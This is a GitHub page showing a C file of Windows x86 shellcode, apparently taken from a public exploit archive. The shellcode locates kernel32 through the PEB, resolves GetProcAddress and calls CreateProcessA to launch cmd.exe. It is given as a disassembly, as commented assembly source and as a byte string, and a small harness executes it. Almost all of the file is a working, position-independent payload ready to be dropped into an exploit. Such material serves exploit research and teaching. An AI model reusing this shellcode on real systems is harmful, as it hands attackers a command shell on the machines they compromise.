Repository navigation
Expand file tree
/
Copy path40246.c
More file actions
executable file
·328 lines (242 loc) · 8.3 KB
/
Copy path40246.c
File metadata and controls
executable file
·328 lines (242 loc) · 8.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
/*
# Title : Windows x86 CreateProcessA(NULL,"cmd.exe",NULL,NULL,0,NULL,NULL,NULL,&STARTUPINFO,&PROCESS_INFORMATION) shellcode
# Author : Roziul Hasan Khan Shifat
# Date : 15-08-2016
# Tested On : Windows 7 x86
*/
/*
Disassembly of section .text:
00000000 <_start>:
0: 31 c9 xor %ecx,%ecx
2: 64 8b 41 30 mov %fs:0x30(%ecx),%eax
6: 8b 40 0c mov 0xc(%eax),%eax
9: 8b 70 14 mov 0x14(%eax),%esi
c: ad lods %ds:(%esi),%eax
d: 96 xchg %eax,%esi
e: ad lods %ds:(%esi),%eax
f: 8b 48 10 mov 0x10(%eax),%ecx
12: 31 db xor %ebx,%ebx
14: 8b 59 3c mov 0x3c(%ecx),%ebx
17: 01 cb add %ecx,%ebx
19: 8b 5b 78 mov 0x78(%ebx),%ebx
1c: 01 cb add %ecx,%ebx
1e: 8b 73 20 mov 0x20(%ebx),%esi
21: 01 ce add %ecx,%esi
23: 31 d2 xor %edx,%edx
00000025 <func>:
25: 42 inc %edx
26: ad lods %ds:(%esi),%eax
27: 01 c8 add %ecx,%eax
29: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
2f: 75 f4 jne 25 <func>
31: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
38: 75 eb jne 25 <func>
3a: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
41: 75 e2 jne 25 <func>
43: 8b 73 1c mov 0x1c(%ebx),%esi
46: 01 ce add %ecx,%esi
48: 8b 14 96 mov (%esi,%edx,4),%edx
4b: 01 ca add %ecx,%edx
4d: 89 d6 mov %edx,%esi
4f: 89 cf mov %ecx,%edi
51: 31 db xor %ebx,%ebx
53: 68 79 41 41 41 push $0x41414179
58: 66 89 5c 24 01 mov %bx,0x1(%esp)
5d: 68 65 6d 6f 72 push $0x726f6d65
62: 68 65 72 6f 4d push $0x4d6f7265
67: 68 52 74 6c 5a push $0x5a6c7452
6c: 54 push %esp
6d: 51 push %ecx
6e: ff d2 call *%edx
70: 83 c4 10 add $0x10,%esp
73: 31 c9 xor %ecx,%ecx
75: 89 ca mov %ecx,%edx
77: b2 54 mov $0x54,%dl
79: 51 push %ecx
7a: 83 ec 54 sub $0x54,%esp
7d: 8d 0c 24 lea (%esp),%ecx
80: 51 push %ecx
81: 52 push %edx
82: 51 push %ecx
83: ff d0 call *%eax
85: 59 pop %ecx
86: 31 d2 xor %edx,%edx
88: 68 73 41 42 42 push $0x42424173
8d: 66 89 54 24 02 mov %dx,0x2(%esp)
92: 68 6f 63 65 73 push $0x7365636f
97: 68 74 65 50 72 push $0x72506574
9c: 68 43 72 65 61 push $0x61657243
a1: 8d 14 24 lea (%esp),%edx
a4: 51 push %ecx
a5: 52 push %edx
a6: 57 push %edi
a7: ff d6 call *%esi
a9: 59 pop %ecx
aa: 83 c4 10 add $0x10,%esp
ad: 31 db xor %ebx,%ebx
af: 68 65 78 65 41 push $0x41657865
b4: 88 5c 24 03 mov %bl,0x3(%esp)
b8: 68 63 6d 64 2e push $0x2e646d63
bd: 8d 1c 24 lea (%esp),%ebx
c0: 31 d2 xor %edx,%edx
c2: b2 44 mov $0x44,%dl
c4: 89 11 mov %edx,(%ecx)
c6: 8d 51 44 lea 0x44(%ecx),%edx
c9: 56 push %esi
ca: 31 f6 xor %esi,%esi
cc: 52 push %edx
cd: 51 push %ecx
ce: 56 push %esi
cf: 56 push %esi
d0: 56 push %esi
d1: 56 push %esi
d2: 56 push %esi
d3: 56 push %esi
d4: 53 push %ebx
d5: 56 push %esi
d6: ff d0 call *%eax
d8: 5e pop %esi
d9: 83 c4 08 add $0x8,%esp
dc: 31 db xor %ebx,%ebx
de: 68 65 73 73 41 push $0x41737365
e3: 88 5c 24 03 mov %bl,0x3(%esp)
e7: 68 50 72 6f 63 push $0x636f7250
ec: 68 45 78 69 74 push $0x74697845
f1: 8d 1c 24 lea (%esp),%ebx
f4: 53 push %ebx
f5: 57 push %edi
f6: ff d6 call *%esi
f8: 31 c9 xor %ecx,%ecx
fa: 51 push %ecx
fb: ff d0 call *%eax
*/
/*
section .text
global _start
_start:
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB->ldr
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;kernel32 base address
xor ebx,ebx
mov ebx,[ecx+0x3c] ;DOS->elf_anew
add ebx,ecx ;PE HEADER
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY
mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
;---------------------------------------------
xor edx,edx
func:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz func
cmp dword [eax+4],'rocA'
jnz func
cmp dword [eax+8],'ddre'
jnz func
;--------------------------------
mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx
mov edx,[esi+edx*4]
add edx,ecx ;GetProcAddress()
;-------------------------------------
mov esi,edx
mov edi,ecx
;-------------------------
xor ebx,ebx
;finding address of RtlZeroMemory()
push 0x41414179
mov [esp+1],word bx
push 0x726f6d65
push 0x4d6f7265
push 0x5a6c7452
push esp
push ecx
call edx
;------------------------------
add esp,16
;-----------------------------------
;zero out 84 bytes
xor ecx,ecx
mov edx,ecx
mov dl,84
push ecx
sub esp,84
lea ecx,[esp]
push ecx
push edx
push ecx
call eax
;----------------------------
;finding address of CreateProcessA()
pop ecx
xor edx,edx
push 0x42424173
mov [esp+2],word dx
push 0x7365636f
push 0x72506574
push 0x61657243
lea edx,[esp]
push ecx
push edx
push edi
call esi
;--------------------------------
;CreateProcessA(NULL,"cmd.exe",NULL,NULL,0,NULL,NULL,NULL,&STARTUPINFO,&PROCESS_INFORMATION)
pop ecx
add esp,16
xor ebx,ebx
push 0x41657865
mov [esp+3],byte bl
push 0x2e646d63
lea ebx,[esp]
xor edx,edx
mov dl,68
mov [ecx],edx
lea edx,[ecx+68]
push esi ;
xor esi,esi
push edx
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
push esi
call eax
pop esi
;-------------------------------------
;finding address of ExitProcess()
add esp,8
xor ebx,ebx
push 0x41737365
mov [esp+3],byte bl
push 0x636f7250
push 0x74697845
lea ebx,[esp]
push ebx
push edi
call esi
xor ecx,ecx
push ecx
call eax
*/
#include<stdio.h>
#include<string.h>
char shellcode[]=\
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x68\x79\x41\x41\x41\x66\x89\x5c\x24\x01\x68\x65\x6d\x6f\x72\x68\x65\x72\x6f\x4d\x68\x52\x74\x6c\x5a\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x89\xca\xb2\x54\x51\x83\xec\x54\x8d\x0c\x24\x51\x52\x51\xff\xd0\x59\x31\xd2\x68\x73\x41\x42\x42\x66\x89\x54\x24\x02\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x14\x24\x51\x52\x57\xff\xd6\x59\x83\xc4\x10\x31\xdb\x68\x65\x78\x65\x41\x88\x5c\x24\x03\x68\x63\x6d\x64\x2e\x8d\x1c\x24\x31\xd2\xb2\x44\x89\x11\x8d\x51\x44\x56\x31\xf6\x52\x51\x56\x56\x56\x56\x56\x56\x53\x56\xff\xd0\x5e\x83\xc4\x08\x31\xdb\x68\x65\x73\x73\x41\x88\x5c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x1c\x24\x53\x57\xff\xd6\x31\xc9\x51\xff\xd0";
main()
{
printf("shellcode lenght %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}